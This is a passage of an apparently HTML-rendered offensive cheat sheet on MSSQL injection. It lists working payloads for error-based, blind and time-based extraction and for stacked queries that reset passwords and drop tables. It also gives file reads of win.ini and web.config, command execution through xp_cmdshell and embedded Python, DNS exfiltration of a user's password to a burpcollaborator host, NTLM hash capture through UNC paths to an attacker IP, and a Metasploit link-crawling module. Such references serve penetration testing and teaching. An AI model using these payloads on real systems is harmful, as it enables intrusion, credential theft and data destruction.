<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="err">$</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysdatabases</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Injection</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">msdb</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">tempdb</span>
</code></pre></div>
</li>
<li>
<p>Extract tables from Injection database</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="err">$</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">Injection</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">xtype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;U&#39;</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Profiles</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Roles</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Users</span>
</code></pre></div>
</li>
<li>
<p>Extract columns for the table Users</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="err">$</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">syscolumns</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;Users&#39;</span><span class="p">)</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">UserId</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">UserName</span>
</code></pre></div>
</li>
<li>
<p>Finally extract the data</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="err">$</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">UserId</span><span class="p">,</span><span class="w"> </span><span class="n">UserName</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">Users</span>
</code></pre></div>
</li>
</ul>
<h2 id="mssql-error-based">MSSQL Error Based</h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>CONVERT</td>
<td><code>AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -</code></td>
</tr>
<tr>
<td>IN</td>
<td><code>AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -</code></td>
</tr>
<tr>
<td>EQUAL</td>
<td><code>AND 1337=CONCAT('~',(SELECT @@version),'~') -- -</code></td>
</tr>
<tr>
<td>CAST</td>
<td><code>CAST((SELECT @@version) AS INT)</code></td>
</tr>
</tbody>
</table>
<ul>
<li>
<p>For integer inputs</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="k">convert</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span><span class="o">@@</span><span class="k">version</span><span class="p">)</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="k">cast</span><span class="p">((</span><span class="k">SELECT</span><span class="w"> </span><span class="o">@@</span><span class="k">version</span><span class="p">)</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="nb">int</span><span class="p">)</span>
</code></pre></div>
</li>
<li>
<p>For string inputs</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="s1">&#39; + convert(int,@@version) + &#39;</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="s1">&#39; + cast((SELECT @@version) as int) + &#39;</span>
</code></pre></div>
</li>
</ul>
<h2 id="mssql-blind-based">MSSQL Blind Based</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="k">AND</span><span class="w"> </span><span class="n">LEN</span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">TOP</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">tblusers</span><span class="p">)</span><span class="o">=</span><span class="mi">5</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">@@</span><span class="k">version</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="o">@@</span><span class="k">version</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="s1">&#39;%12.0.2000.8%&#39;</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="k">WITH</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="p">(</span><span class="n">ROW_NUMBER</span><span class="p">()</span><span class="w"> </span><span class="n">OVER</span><span class="w"> </span><span class="p">(</span><span class="k">ORDER</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="n">message</span><span class="p">))</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="k">row</span><span class="p">,</span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">log_table</span><span class="p">)</span>
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">message</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">message</span><span class="w"> </span><span class="k">like</span><span class="w"> </span><span class="s1">&#39;t%&#39;</span>
</code></pre></div>
<h3 id="mssql-blind-with-substring-equivalent">MSSQL Blind With Substring Equivalent</h3>
<table>
<thead>
<tr>
<th>Function</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>SUBSTRING</code></td>
<td><code>SUBSTRING('foobar', &lt;START&gt;, &lt;LENGTH&gt;)</code></td>
</tr>
</tbody>
</table>
<p>Examples:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="k">AND</span><span class="w"> </span><span class="n">ASCII</span><span class="p">(</span><span class="k">SUBSTRING</span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">TOP</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">tblusers</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="mi">97</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="k">AND</span><span class="w"> </span><span class="n">UNICODE</span><span class="p">(</span><span class="k">SUBSTRING</span><span class="p">((</span><span class="k">SELECT</span><span class="w"> </span><span class="s1">&#39;A&#39;</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span><span class="o">&gt;</span><span class="mi">64</span><span class="c1">-- </span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="k">AND</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">SUBSTRING</span><span class="p">(</span><span class="k">table_name</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="s1">&#39;A&#39;</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="k">AND</span><span class="w"> </span><span class="k">ISNULL</span><span class="p">(</span><span class="n">ASCII</span><span class="p">(</span><span class="k">SUBSTRING</span><span class="p">(</span><span class="k">CAST</span><span class="p">((</span><span class="k">SELECT</span><span class="w"> </span><span class="k">LOWER</span><span class="p">(</span><span class="n">db_name</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span><span class="k">AS</span><span class="w"> </span><span class="nb">varchar</span><span class="p">(</span><span class="mi">8000</span><span class="p">)),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)),</span><span class="mi">0</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">90</span>
</code></pre></div>
<h2 id="mssql-time-based">MSSQL Time Based</h2>
<p>In a time-based blind SQL injection attack, an attacker injects a payload that uses <code>WAITFOR DELAY</code> to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">ProductID</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span><span class="n">waitfor</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="s1">&#39;0:0:10&#39;</span><span class="c1">--</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="n">ProductID</span><span class="o">=</span><span class="mi">1</span><span class="p">);</span><span class="n">waitfor</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="s1">&#39;0:0:10&#39;</span><span class="c1">--</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="n">ProductID</span><span class="o">=</span><span class="mi">1</span><span class="s1">&#39;;waitfor delay &#39;</span><span class="mi">0</span><span class="p">:</span><span class="mi">0</span><span class="p">:</span><span class="mi">10</span><span class="s1">&#39;--</span>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="s1">ProductID=1&#39;</span><span class="p">);</span><span class="n">waitfor</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="s1">&#39;0:0:10&#39;</span><span class="c1">--</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="n">ProductID</span><span class="o">=</span><span class="mi">1</span><span class="p">));</span><span class="n">waitfor</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="s1">&#39;0:0:10&#39;</span><span class="c1">--</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="k">IF</span><span class="p">([</span><span class="n">INFERENCE</span><span class="p">])</span><span class="w"> </span><span class="n">WAITFOR</span><span class="w"> </span><span class="n">DELAY</span><span class="w"> </span><span class="s1">&#39;0:0:[SLEEPTIME]&#39;</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="k">IF</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="n">WAITFOR</span><span class="w"> </span><span class="n">DELAY</span><span class="w"> </span><span class="s1">&#39;0:0:5&#39;</span><span class="w"> </span><span class="k">ELSE</span><span class="w"> </span><span class="n">WAITFOR</span><span class="w"> </span><span class="n">DELAY</span><span class="w"> </span><span class="s1">&#39;0:0:0&#39;</span><span class="p">;</span>
</code></pre></div>
<h2 id="mssql-stacked-query">MSSQL Stacked Query</h2>
<ul>
<li>
<p>Stacked query without any statement terminator
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="c1">-- multiple SELECT statements</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="s1">&#39;A&#39;</span><span class="k">SELECT</span><span class="w"> </span><span class="s1">&#39;B&#39;</span><span class="k">SELECT</span><span class="w"> </span><span class="s1">&#39;C&#39;</span>
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a>
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="c1">-- updating password with a stacked query</span>
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">username</span><span class="p">,</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;admin&#39;</span><span class="k">exec</span><span class="p">(</span><span class="s1">&#39;update[users]set[password]=&#39;&#39;a&#39;&#39;&#39;</span><span class="p">)</span><span class="c1">--</span>
<a id="__codelineno-14-6" name="__codelineno-14-6" href="#__codelineno-14-6"></a>
<a id="__codelineno-14-7" name="__codelineno-14-7" href="#__codelineno-14-7"></a><span class="c1">-- using the stacked query to enable xp_cmdshell</span>
<a id="__codelineno-14-8" name="__codelineno-14-8" href="#__codelineno-14-8"></a><span class="c1">-- you won&#39;t have the output of the query, redirect it to a file </span>
<a id="__codelineno-14-9" name="__codelineno-14-9" href="#__codelineno-14-9"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">username</span><span class="p">,</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;admin&#39;</span><span class="k">exec</span><span class="p">(</span><span class="s1">&#39;sp_configure&#39;&#39;show advanced option&#39;&#39;,&#39;&#39;1&#39;&#39;reconfigure&#39;</span><span class="p">)</span><span class="k">exec</span><span class="p">(</span><span class="s1">&#39;sp_configure&#39;&#39;xp_cmdshell&#39;&#39;,&#39;&#39;1&#39;&#39;reconfigure&#39;</span><span class="p">)</span><span class="c1">--</span>
</code></pre></div></p>
</li>
<li>
<p>Use a semi-colon "<code>;</code>" to add another query
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">ProductID</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="k">DROP</span><span class="w"> </span><span class="n">members</span><span class="c1">--</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="mssql-file-manipulation">MSSQL File Manipulation</h2>
<h3 id="mssql-read-file">MSSQL Read File</h3>
<p><strong>Permissions</strong>: The <code>BULK</code> option requires the <code>ADMINISTER BULK OPERATIONS</code> or the <code>ADMINISTER DATABASE BULK OPERATIONS</code> permission.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">OPENROWSET</span><span class="p">(</span><span class="n">BULK</span><span class="w"> </span><span class="s1">&#39;C:\path\to\file&#39;</span><span class="p">,</span><span class="w"> </span><span class="n">SINGLE_CLOB</span><span class="p">)</span>
</code></pre></div>
<p>Example:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="o">-</span><span class="mi">1</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="k">null</span><span class="p">,(</span><span class="k">select</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">OpenRowset</span><span class="p">(</span><span class="n">BULK</span><span class="w"> </span><span class="s1">&#39;C:\Windows\win.ini&#39;</span><span class="p">,</span><span class="n">SINGLE_CLOB</span><span class="p">)</span><span class="w"> </span><span class="n">R</span><span class="p">(</span><span class="n">x</span><span class="p">)),</span><span class="k">null</span><span class="p">,</span><span class="k">null</span>
</code></pre></div>
<h3 id="mssql-write-file">MSSQL Write File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="k">execute</span><span class="w"> </span><span class="n">spWriteStringToFile</span><span class="w"> </span><span class="s1">&#39;contents&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;C:\path\to\&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;file&#39;</span>
</code></pre></div>
<h2 id="mssql-command-execution">MSSQL Command Execution</h2>
<h3 id="xp_cmdshell">XP_CMDSHELL</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="ss">&quot;net user&quot;</span><span class="p">;</span>
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s1">&#39;cmd.exe dir c:&#39;</span><span class="p">;</span>
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s1">&#39;ping 127.0.0.1&#39;</span><span class="p">;</span>
</code></pre></div>
<p>If you need to reactivate <code>xp_cmdshell</code> (disabled by default in SQL Server 2005)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">sp_configure</span><span class="w"> </span><span class="s1">&#39;show advanced options&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">;</span>
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="n">RECONFIGURE</span><span class="p">;</span>
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">sp_configure</span><span class="w"> </span><span class="s1">&#39;xp_cmdshell&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">;</span>
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="n">RECONFIGURE</span><span class="p">;</span>
</code></pre></div>
<h3 id="python-script">Python Script</h3>
<blockquote>
<p>Executed by a different user than the one using <code>xp_cmdshell</code> to execute commands</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">EXECUTE</span> <span class="n">sp_execute_external_script</span> <span class="nv">@language</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;Python&#39;</span><span class="p">,</span> <span class="nv">@script</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;print(__import__(&quot;getpass&quot;).getuser())&#39;</span>
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">EXECUTE</span> <span class="n">sp_execute_external_script</span> <span class="nv">@language</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;Python&#39;</span><span class="p">,</span> <span class="nv">@script</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;print(__import__(&quot;os&quot;).system(&quot;whoami&quot;))&#39;</span>
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="n">EXECUTE</span> <span class="n">sp_execute_external_script</span> <span class="nv">@language</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;Python&#39;</span><span class="p">,</span> <span class="nv">@script</span> <span class="p">=</span> <span class="n">N</span><span class="s1">&#39;print(open(&quot;C:\\inetpub\\wwwroot\\web.config&quot;, &quot;r&quot;).read())&#39;</span>
</code></pre></div>
<h2 id="mssql-out-of-band">MSSQL Out of Band</h2>
<h3 id="mssql-dns-exfiltration">MSSQL DNS exfiltration</h3>
<p>Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1</p>
<ul>
<li>
<p><strong>Permission</strong>: Requires VIEW SERVER STATE permission on the server.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">1</span> <span class="n">and</span> <span class="n">exists</span><span class="p">(</span><span class="nb">select </span><span class="p">*</span> <span class="n">from</span> <span class="n">fn_xe_file_target_read_file</span><span class="p">(</span><span class="s1">&#39;C:\*.xel&#39;</span><span class="p">,</span><span class="s1">&#39;\\&#39;</span><span class="k">%</span><span class="n">2b</span><span class="p">(</span><span class="nb">select </span><span class="n">pass</span> <span class="n">from</span> <span class="n">users</span> <span class="nb">where </span><span class="n">id</span><span class="p">=</span><span class="n">1</span><span class="p">)</span><span class="k">%</span><span class="n">2b</span><span class="s1">&#39;.xxxx.burpcollaborator.net\1.xem&#39;</span><span class="p">,</span><span class="n">null</span><span class="p">,</span><span class="n">null</span><span class="p">))</span>
</code></pre></div>
</li>
<li>
<p><strong>Permission</strong>: Requires the CONTROL SERVER permission.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">1</span> <span class="p">(</span><span class="nb">select </span><span class="n">1</span> <span class="nb">where </span><span class="n">exists</span><span class="p">(</span><span class="nb">select </span><span class="p">*</span> <span class="n">from</span> <span class="n">fn_get_audit_file</span><span class="p">(</span><span class="s1">&#39;\\&#39;</span><span class="k">%</span><span class="n">2b</span><span class="p">(</span><span class="nb">select </span><span class="n">pass</span> <span class="n">from</span> <span class="n">users</span> <span class="nb">where </span><span class="n">id</span><span class="p">=</span><span class="n">1</span><span class="p">)</span><span class="k">%</span><span class="n">2b</span><span class="s1">&#39;.xxxx.burpcollaborator.net\&#39;</span><span class="p">,</span><span class="k">default</span><span class="p">,</span><span class="k">default</span><span class="p">)))</span>
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="n">1</span> <span class="n">and</span> <span class="n">exists</span><span class="p">(</span><span class="nb">select </span><span class="p">*</span> <span class="n">from</span> <span class="n">fn_trace_gettable</span><span class="p">(</span><span class="s1">&#39;\\&#39;</span><span class="k">%</span><span class="n">2b</span><span class="p">(</span><span class="nb">select </span><span class="n">pass</span> <span class="n">from</span> <span class="n">users</span> <span class="nb">where </span><span class="n">id</span><span class="p">=</span><span class="n">1</span><span class="p">)</span><span class="k">%</span><span class="n">2b</span><span class="s1">&#39;.xxxx.burpcollaborator.net\1.trc&#39;</span><span class="p">,</span><span class="k">default</span><span class="p">))</span>
</code></pre></div>
</li>
</ul>
<h3 id="mssql-unc-path">MSSQL UNC Path</h3>
<p>MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the <code>xp_dirtree</code> function to list the files in our SMB share and grab the NTLMv2 hash.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="mi">1</span><span class="s1">&#39;; use master; exec xp_dirtree &#39;</span><span class="err">\\</span><span class="mi">10</span><span class="p">.</span><span class="mi">10</span><span class="p">.</span><span class="mi">15</span><span class="p">.</span><span class="n">XX</span><span class="err">\</span><span class="k">SHARE</span><span class="err">&#39;</span><span class="p">;</span><span class="c1">-- </span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">xp_dirtree</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="n">xp_fileexist</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="n">BACKUP</span><span class="w"> </span><span class="n">LOG</span><span class="w"> </span><span class="p">[</span><span class="n">TESTING</span><span class="p">]</span><span class="w"> </span><span class="k">TO</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="n">BACKUP</span><span class="w"> </span><span class="k">DATABASE</span><span class="w"> </span><span class="p">[</span><span class="n">TESTING</span><span class="p">]</span><span class="w"> </span><span class="k">TO</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackeri\file&#39;</span>
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">LOG</span><span class="w"> </span><span class="p">[</span><span class="n">TESTING</span><span class="p">]</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="n">RESTORE</span><span class="w"> </span><span class="k">DATABASE</span><span class="w"> </span><span class="p">[</span><span class="n">TESTING</span><span class="p">]</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-7" name="__codelineno-25-7" href="#__codelineno-25-7"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">HEADERONLY</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-8" name="__codelineno-25-8" href="#__codelineno-25-8"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">FILELISTONLY</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-9" name="__codelineno-25-9" href="#__codelineno-25-9"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">LABELONLY</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-10" name="__codelineno-25-10" href="#__codelineno-25-10"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">REWINDONLY</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
<a id="__codelineno-25-11" name="__codelineno-25-11" href="#__codelineno-25-11"></a><span class="n">RESTORE</span><span class="w"> </span><span class="n">VERIFYONLY</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DISK</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;\\attackerip\file&#39;</span>
</code></pre></div>
<h2 id="mssql-trusted-links">MSSQL Trusted Links</h2>
<blockquote>
<p>The links between databases work even across forest trusts.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">msf</span><span class="p">&gt;</span> <span class="n">use</span> <span class="n">exploit</span><span class="p">/</span><span class="n">windows</span><span class="p">/</span><span class="n">mssql</span><span class="p">/</span><span class="n">mssql_linkcrawler</span>
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="p">[</span><span class="n">msf</span><span class="p">&gt;</span> <span class="nb">set </span><span class="n">DEPLOY</span> <span class="n">true</span><span class="p">]</span> <span class="c"># Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session</span>
</code></pre></div>
<p>Manual exploitation</p>
